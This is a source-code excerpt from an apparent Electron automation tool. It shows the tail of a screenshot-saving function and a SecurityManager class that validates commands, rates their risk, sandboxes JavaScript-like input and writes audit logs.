250 |     );
251 | 
252 |     // If outputPath is provided, save encrypted data to file
253 |     if (outputPath) {
254 |       await fs.writeFile(outputPath + '.encrypted', JSON.stringify(encryptedScreenshot));
255 |       // Also save unencrypted for compatibility (in production, consider removing this)
256 |       await fs.writeFile(outputPath, screenshotBuffer);
257 |       return {
258 |         filePath: outputPath,
259 |         base64: base64Data,
260 |         data: `Screenshot saved to: ${outputPath} (encrypted backup: ${outputPath}.encrypted) and returned as base64 data`,
261 |       };
262 |     } else {
263 |       return {
264 |         base64: base64Data,
265 |         data: `Screenshot captured as base64 data (${screenshotBuffer.length} bytes) - no file saved`,
266 |       };
267 |     }
268 |   } catch (error) {
269 |     const errorMessage = error instanceof Error ? error.message : String(error);
270 |     throw new Error(
271 |       `Screenshot failed: ${errorMessage}. Make sure the Electron app is running with remote debugging enabled (--remote-debugging-port=9222)`,
272 |     );
273 |   }
274 | }
275 | 
```

--------------------------------------------------------------------------------
/src/security/manager.ts:
--------------------------------------------------------------------------------

```typescript
  1 | import { CodeSandbox, SandboxResult } from './sandbox';
  2 | import { InputValidator } from './validation';
  3 | import { securityLogger, AuditLogEntry } from './audit';
  4 | import { randomUUID } from 'crypto';
  5 | import { logger } from '../utils/logger';
  6 | import { SecurityLevel, getSecurityConfig, getDefaultSecurityLevel } from './config';
  7 | 
  8 | export interface SecurityConfig {
  9 |   enableSandbox: boolean;
 10 |   enableInputValidation: boolean;
 11 |   enableAuditLog: boolean;
 12 |   enableScreenshotEncryption: boolean;
 13 |   defaultRiskThreshold: 'low' | 'medium' | 'high' | 'critical';
 14 |   sandboxTimeout: number;
 15 |   maxExecutionTime: number;
 16 | }
 17 | 
 18 | export interface SecureExecutionContext {
 19 |   command: string;
 20 |   args?: any;
 21 |   sourceIP?: string;
 22 |   userAgent?: string;
 23 |   operationType: 'command' | 'screenshot' | 'logs' | 'window_info';
 24 | }
 25 | 
 26 | export interface SecureExecutionResult {
 27 |   success: boolean;
 28 |   result?: any;
 29 |   error?: string;
 30 |   executionTime: number;
 31 |   riskLevel: 'low' | 'medium' | 'high' | 'critical';
 32 |   blocked: boolean;
 33 |   sessionId: string;
 34 | }
 35 | 
 36 | export class SecurityManager {
 37 |   private config: SecurityConfig;
 38 |   private sandbox: CodeSandbox;
 39 |   private securityLevel: SecurityLevel;
 40 |   private sandboxCache = new Map<string, boolean>();
 41 | 
 42 |   constructor(config: Partial<SecurityConfig> = {}, securityLevel?: SecurityLevel) {
 43 |     this.securityLevel = securityLevel || getDefaultSecurityLevel();
 44 |     const defaultConfig = getSecurityConfig(this.securityLevel);
 45 | 
 46 |     this.config = {
 47 |       enableSandbox: true,
 48 |       enableInputValidation: true,
 49 |       enableAuditLog: true,
 50 |       enableScreenshotEncryption: true,
 51 |       defaultRiskThreshold: 'medium',
 52 |       sandboxTimeout: 5000,
 53 |       maxExecutionTime: 30000,
 54 |       ...defaultConfig,
 55 |       ...config,
 56 |     };
 57 | 
 58 |     // Set the security level in the validator
 59 |     InputValidator.setSecurityLevel(this.securityLevel);
 60 | 
 61 |     this.sandbox = new CodeSandbox({
 62 |       timeout: this.config.sandboxTimeout,
 63 |       maxMemory: 50 * 1024 * 1024, // 50MB
 64 |     });
 65 | 
 66 |     logger.info('Security Manager initialized with config:', {
 67 |       ...this.config,
 68 |       securityLevel: this.securityLevel,
 69 |     });
 70 |   }
 71 | 
 72 |   setSecurityLevel(level: SecurityLevel) {
 73 |     this.securityLevel = level;
 74 |     InputValidator.setSecurityLevel(level);
 75 | 
 76 |     // Update config based on new security level
 77 |     const newConfig = getSecurityConfig(level);
 78 |     this.config = { ...this.config, ...newConfig };
 79 | 
 80 |     logger.info(`Security level updated to: ${level}`);
 81 |   }
 82 | 
 83 |   getSecurityLevel(): SecurityLevel {
 84 |     return this.securityLevel;
 85 |   }
 86 | 
 87 |   async executeSecurely(context: SecureExecutionContext): Promise<SecureExecutionResult> {
 88 |     const sessionId = randomUUID();
 89 |     const startTime = Date.now();
 90 | 
 91 |     logger.info(`Secure execution started [${sessionId}]`, {
 92 |       command: context.command.substring(0, 100),
 93 |       operationType: context.operationType,
 94 |     });
 95 | 
 96 |     try {
 97 |       // Step 1: Input Validation
 98 |       const validation = InputValidator.validateCommand({
 99 |         command: context.command,
100 |         args: context.args,
101 |       });
102 | 
103 |       if (!validation.isValid) {
104 |         const reason = `Input validation failed: ${validation.errors.join(', ')}`;
105 |         return this.createBlockedResult(sessionId, startTime, reason, validation.riskLevel);
106 |       }
107 | 
108 |       // Step 2: Risk Assessment
109 |       if (
110 |         validation.riskLevel === 'critical' ||
111 |         (this.config.defaultRiskThreshold === 'high' && validation.riskLevel === 'high')
112 |       ) {
113 |         const reason = `Risk level too high: ${validation.riskLevel}`;
114 |         return this.createBlockedResult(sessionId, startTime, reason, validation.riskLevel);
115 |       }
116 | 
117 |       // Step 3: Sandboxed Execution (for JavaScript code execution only, not command dispatch)
118 |       let executionResult: SandboxResult;
119 |       if (
120 |         context.operationType === 'command' &&
121 |         this.config.enableSandbox &&
122 |         this.shouldSandboxCommand(context.command)
123 |       ) {
124 |         // Only sandbox if this looks like actual JavaScript code, not a command name
125 |         executionResult = await this.sandbox.executeCode(validation.sanitizedInput.command);
126 |       } else {
127 |         // For command names (like 'click_by_text') and other operations, skip sandbox
128 |         // The actual JavaScript generation and execution happens in the enhanced commands
129 |         executionResult = {
130 |           success: true,
131 |           result: validation.sanitizedInput.command,
132 |           executionTime: 0,
133 |         };
134 |       }
135 | 
136 |       // Step 4: Create result
137 |       const result: SecureExecutionResult = {
138 |         success: executionResult.success,
139 |         result: executionResult.result,
140 |         error: executionResult.error,
141 |         executionTime: Date.now() - startTime,
142 |         riskLevel: validation.riskLevel,
143 |         blocked: false,
144 |         sessionId,
145 |       };
146 | 
147 |       // Step 5: Audit Logging
148 |       if (this.config.enableAuditLog) {
149 |         await this.logSecurityEvent(context, result);
150 |       }
151 | 
152 |       logger.info(`Secure execution completed [${sessionId}]`, {
153 |         success: result.success,
154 |         executionTime: result.executionTime,
155 |         riskLevel: result.riskLevel,
156 |       });
157 | 
158 |       return result;
159 |     } catch (error) {
160 |       const result: SecureExecutionResult = {
161 |         success: false,
162 |         error: error instanceof Error ? error.message : String(error),
163 |         executionTime: Date.now() - startTime,
164 |         riskLevel: 'high',
165 |         blocked: false,
166 |         sessionId,
167 |       };
168 | 
169 |       if (this.config.enableAuditLog) {
170 |         await this.logSecurityEvent(context, result);
171 |       }
172 | 
173 |       logger.error(`Secure execution failed [${sessionId}]:`, error);
174 |       return result;
175 |     }
176 |   }
177 | 
178 |   updateConfig(newConfig: Partial<SecurityConfig>): void {
179 |     this.config = { ...this.config, ...newConfig };
180 |     logger.info('Security configuration updated:', newConfig);
181 |   }
182 | 
183 |   getConfig(): SecurityConfig {
184 |     return { ...this.config };
185 |   }
186 | 
187 |   // Private helper methods
188 |   private createBlockedResult(
189 |     sessionId: string,
190 |     startTime: number,
191 |     reason: string,
192 |     riskLevel: 'low' | 'medium' | 'high' | 'critical',
193 |   ): SecureExecutionResult {
194 |     return {
195 |       success: false,
196 |       error: reason,
197 |       executionTime: Date.now() - startTime,
198 |       riskLevel,
199 |       blocked: true,
200 |       sessionId,
201 |     };
202 |   }
203 | 
204 |   private async logSecurityEvent(
205 |     context: SecureExecutionContext,
206 |     result: SecureExecutionResult,
207 |   ): Promise<void> {
208 |     const logEntry: AuditLogEntry = {
209 |       timestamp: new Date().toISOString(),
210 |       sessionId: result.sessionId,
211 |       action: context.operationType,
212 |       command: context.command,
213 |       riskLevel: result.riskLevel,
214 |       success: result.success,
215 |       error: result.error,
216 |       executionTime: result.executionTime,
217 |       sourceIP: context.sourceIP,
218 |       userAgent: context.userAgent,
219 |     };
220 | 
221 |     await securityLogger.logSecurityEvent(logEntry);
222 |   }
223 | 
224 |   /**
225 |    * Determines if a command should be executed in a sandbox
226 |    * @param command The command to check
227 |    * @returns true if the command should be sandboxed
228 |    */
229 |   shouldSandboxCommand(command: string): boolean {
230 |     // Check cache first for performance
231 |     if (this.sandboxCache.has(command)) {
232 |       return this.sandboxCache.get(command)!;
233 |     }
234 | 
235 |     const result = this._shouldSandboxCommand(command);
236 | 
237 |     // Cache result (limit cache size to prevent memory leaks)
238 |     if (this.sandboxCache.size < 1000) {
239 |       this.sandboxCache.set(command, result);
240 |     }
241 | 
242 |     return result;
243 |   }
244 | 
245 |   /**
246 |    * Internal method to determine if a command should be sandboxed
247 |    */
248 |   private _shouldSandboxCommand(command: string): boolean {
249 |     // Skip sandboxing for simple command names (like MCP tool names)
250 |     if (this.isSimpleCommandName(command)) {
251 |       return false;
252 |     }
253 | 
254 |     // Sandbox if it looks like JavaScript code
255 |     const jsIndicators = [
256 |       '(', // Function calls
257 |       'document.', // DOM access
258 |       'window.', // Window object access
259 |       'const ', // Variable declarations
260 |       'let ', // Variable declarations
261 |       'var ', // Variable declarations
262 |       'function', // Function definitions
263 |       '=>', // Arrow functions
264 |       'eval(', // Direct eval calls
265 |       'new ', // Object instantiation
266 |       'this.', // Object method calls
267 |       '=', // Assignments (but not comparison)
268 |       ';', // Statement separators
269 |       '{', // Code blocks
270 |       'return', // Return statements
271 |     ];
272 | 
273 |     return jsIndicators.some((indicator) => command.includes(indicator));
274 |   }
275 | 
276 |   /**
277 |    * Checks if a command is a simple command name (not JavaScript code)
278 |    * @param command The command to check
279 |    * @returns true if it's a simple command name
280 |    */
281 |   private isSimpleCommandName(command: string): boolean {
282 |     // Simple command names are typically:
283 |     // - Single words or snake_case/kebab-case
284 |     // - No spaces except between simple arguments
285 |     // - No JavaScript syntax
286 | 
287 |     const simpleCommandPattern = /^[a-zA-Z_][a-zA-Z0-9_-]*(\s+[a-zA-Z0-9_-]+)*$/;
288 |     return simpleCommandPattern.test(command.trim());
289 |   }
290 | }
291 | 
292 | // Global security manager instance
293 | export const securityManager = new SecurityManager();
294 | 
```
Page 1/2FirstPrevNextLast